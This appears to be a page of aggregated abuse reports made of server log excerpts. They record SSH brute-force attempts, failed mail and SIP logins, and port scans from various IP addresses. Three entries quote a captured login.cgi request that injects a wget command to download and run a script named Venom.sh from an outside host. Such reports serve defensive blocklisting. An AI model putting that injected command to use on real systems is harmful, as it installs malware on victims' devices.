Aug 23 14:25:22 cosmoit sshd[7493]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19

Aug 16 13:17:34 vps46666688 sshd[9231]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19
Aug 16 13:17:36 vps46666688 sshd[9231]: Failed password for invalid user antoine from 180.76.162.19 port 34434 ssh2
...

Aug 14 15:35:49 abendstille sshd\[3009\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
Aug 14 15:35:51 abendstille sshd\[3009\]: Failed password for root from 180.76.162.19 port 55272 ssh2
Aug 14 15:40:09 abendstille sshd\[6941\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
Aug 14 15:40:11 abendstille sshd\[6941\]: Failed password for root from 180.76.162.19 port 43498 ssh2
Aug 14 15:44:21 abendstille sshd\[10836\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
...

2020-08-11T06:27:06.821321billing sshd[30491]: Failed password for root from 180.76.162.19 port 46368 ssh2
2020-08-11T06:30:54.882696billing sshd[6693]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
2020-08-11T06:30:56.486181billing sshd[6693]: Failed password for root from 180.76.162.19 port 52044 ssh2
...

2020-07-26T07:52:19.7011931495-001 sshd[17425]: Invalid user eugene from 180.76.162.19 port 37268
2020-07-26T07:52:22.2198051495-001 sshd[17425]: Failed password for invalid user eugene from 180.76.162.19 port 37268 ssh2
2020-07-26T07:55:21.6211081495-001 sshd[17615]: Invalid user bk from 180.76.162.19 port 46176
2020-07-26T07:55:21.6241671495-001 sshd[17615]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19
2020-07-26T07:55:21.6211081495-001 sshd[17615]: Invalid user bk from 180.76.162.19 port 46176
2020-07-26T07:55:24.1197451495-001 sshd[17615]: Failed password for invalid user bk from 180.76.162.19 port 46176 ssh2
...

Connection to SSH Honeypot - Detected by HoneypotDB

Jul  2 20:08:02 server1 sshd\[11940\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
Jul  2 20:08:03 server1 sshd\[11940\]: Failed password for root from 180.76.162.19 port 35434 ssh2
Jul  2 20:10:48 server1 sshd\[12949\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
Jul  2 20:10:50 server1 sshd\[12949\]: Failed password for root from 180.76.162.19 port 45850 ssh2
Jul  2 20:13:35 server1 sshd\[13784\]: Invalid user pgadmin from 180.76.162.19
...

Jun 28 06:49:26 nextcloud sshd\[10843\]: Invalid user ec2 from 180.76.162.19
Jun 28 06:49:26 nextcloud sshd\[10843\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19
Jun 28 06:49:28 nextcloud sshd\[10843\]: Failed password for invalid user ec2 from 180.76.162.19 port 50828 ssh2

2020-06-14T14:37:17.3874331495-001 sshd[17137]: Invalid user warehouse from 180.76.162.19 port 44956
2020-06-14T14:37:17.3944681495-001 sshd[17137]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19
2020-06-14T14:37:17.3874331495-001 sshd[17137]: Invalid user warehouse from 180.76.162.19 port 44956
2020-06-14T14:37:18.8920111495-001 sshd[17137]: Failed password for invalid user warehouse from 180.76.162.19 port 44956 ssh2
2020-06-14T14:38:47.2830961495-001 sshd[17161]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
2020-06-14T14:38:48.8009701495-001 sshd[17161]: Failed password for root from 180.76.162.19 port 40772 ssh2
...

2020-06-14T08:30:07.8424121240 sshd\[28233\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
2020-06-14T08:30:10.0328461240 sshd\[28233\]: Failed password for root from 180.76.162.19 port 40746 ssh2
2020-06-14T08:39:01.2902231240 sshd\[28633\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
...

Jun  7 12:06:38 *** sshd[27946]: User root from 180.76.162.19 not allowed because not listed in AllowUsers

2020-05-30T20:42:33.026333shield sshd\[3033\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
2020-05-30T20:42:35.444153shield sshd\[3033\]: Failed password for root from 180.76.162.19 port 45162 ssh2
2020-05-30T20:45:42.953984shield sshd\[3540\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.162.19  user=root
2020-05-30T20:45:44.318053shield sshd\[3540\]: Failed password for root from 180.76.162.19 port 38414 ssh2
2020-05-30T20:48:49.671758shield sshd\[3952\]: Invalid user crystal from 180.76.162.19 port 59920

Invalid user Cisco from 180.76.162.19 port 52474

May 28 22:40:00 haigwepa sshd[11765]: Failed password for root from 180.76.162.19 port 36098 ssh2
...

$f2bV_matches

1 attack on wget probes like:
156.200.207.203 - - [22/Dec/2019:16:02:58 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11

$f2bV_matches

\[2019-12-23 05:44:09\] SECURITY\[2857\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-12-23T05:44:09.943-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="4931011441241815740",SessionID="0x7f0fb40aad28",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/46.166.148.42/60452",ACLName="no_extension_match"
\[2019-12-23 05:44:27\] SECURITY\[2857\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-12-23T05:44:27.346-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="3077011441241815740",SessionID="0x7f0fb4a47618",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/46.166.148.42/65398",ACLName="no_extension_match"
\[2019-12-23 05:44:44\] SECURITY\[2857\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-12-23T05:44:44.436-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="0395000441241815740",SessionID="0x7f0fb40aad28",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/46.166.148.42/52766",ACL

Dec 23 09:46:37 MainVPS sshd[12498]: Invalid user yvonte from 89.133.103.216 port 52782
Dec 23 09:46:37 MainVPS sshd[12498]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.133.103.216
Dec 23 09:46:37 MainVPS sshd[12498]: Invalid user yvonte from 89.133.103.216 port 52782
Dec 23 09:46:39 MainVPS sshd[12498]: Failed password for invalid user yvonte from 89.133.103.216 port 52782 ssh2
Dec 23 09:52:17 MainVPS sshd[23814]: Invalid user 123 from 89.133.103.216 port 58826
...

Dec 23 05:29:18 delaware postfix/smtpd[55865]: connect from 60-233-24-185.static.servebyte.com[185.24.233.60]
Dec 23 05:29:18 delaware postfix/smtpd[55865]: connect from 60-233-24-185.static.servebyte.com[185.24.233.60]
Dec 23 05:29:18 delaware postfix/smtpd[55865]: warning: 60-233-24-185.static.servebyte.com[185.24.233.60]: SASL LOGIN authentication failed: authentication failure
Dec 23 05:29:18 delaware postfix/smtpd[55865]: warning: 60-233-24-185.static.servebyte.com[185.24.233.60]: SASL LOGIN authentication failed: authentication failure
Dec 23 05:29:18 delaware postfix/smtpd[55865]: disconnect from 60-233-24-185.static.servebyte.com[185.24.233.60] ehlo=1 auth=0/1 quhostname=1 commands=2/3
Dec 23 05:29:18 delaware postfix/smtpd[55865]: disconnect from 60-233-24-185.static.servebyte.com[185.24.233.60] ehlo=1 auth=0/1 quhostname=1 commands=2/3
Dec 23 05:39:09 delaware postfix/smtpd[56211]: connect from 60-233-24-185.static.servebyte.com[185.24.233.60]
Dec 23 05:39:09 ........
-------------------------------

1 attack on wget probes like:
156.221.68.142 - - [22/Dec/2019:06:36:41 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11

1 attack on wget probes like:
156.206.89.247 - - [22/Dec/2019:05:17:16 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11

Dec 23 11:05:14 tuxlinux sshd[33434]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.201.243.170  user=root
Dec 23 11:05:16 tuxlinux sshd[33434]: Failed password for root from 35.201.243.170 port 54936 ssh2
Dec 23 11:05:14 tuxlinux sshd[33434]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.201.243.170  user=root
Dec 23 11:05:16 tuxlinux sshd[33434]: Failed password for root from 35.201.243.170 port 54936 ssh2
Dec 23 11:15:38 tuxlinux sshd[33645]: Invalid user server from 35.201.243.170 port 55606
...

445/tcp 1433/tcp...
[2019-11-14/12-22]7pkt,2pt.(tcp)

Dec 23 13:32:33 server sshd\[2430\]: Invalid user web from 187.141.71.27
Dec 23 13:32:33 server sshd\[2430\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.141.71.27 
Dec 23 13:32:35 server sshd\[2430\]: Failed password for invalid user web from 187.141.71.27 port 53184 ssh2
Dec 23 13:41:24 server sshd\[4987\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.141.71.27  user=root
Dec 23 13:41:26 server sshd\[4987\]: Failed password for root from 187.141.71.27 port 33456 ssh2
...

Dec 23 12:25:16 markkoudstaal sshd[30854]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.44.218.192
Dec 23 12:25:18 markkoudstaal sshd[30854]: Failed password for invalid user info from 142.44.218.192 port 58666 ssh2
Dec 23 12:30:46 markkoudstaal sshd[31324]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.44.218.192

Dec 22 22:22:44 php1 sshd\[4341\]: Invalid user harg from 106.12.218.60
Dec 22 22:22:44 php1 sshd\[4341\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.218.60
Dec 22 22:22:45 php1 sshd\[4341\]: Failed password for invalid user harg from 106.12.218.60 port 35872 ssh2
Dec 22 22:28:59 php1 sshd\[4995\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.218.60  user=root
Dec 22 22:29:01 php1 sshd\[4995\]: Failed password for root from 106.12.218.60 port 55836 ssh2

Dec 23 11:41:07 hosting sshd[4208]: Invalid user lausnay from 223.197.151.55 port 39296
...

k+ssh-bruteforce

Dec 23 06:03:31 web1 postfix/smtpd[14813]: warning: unknown[103.141.137.39]: SASL LOGIN authentication failed: authentication failure
...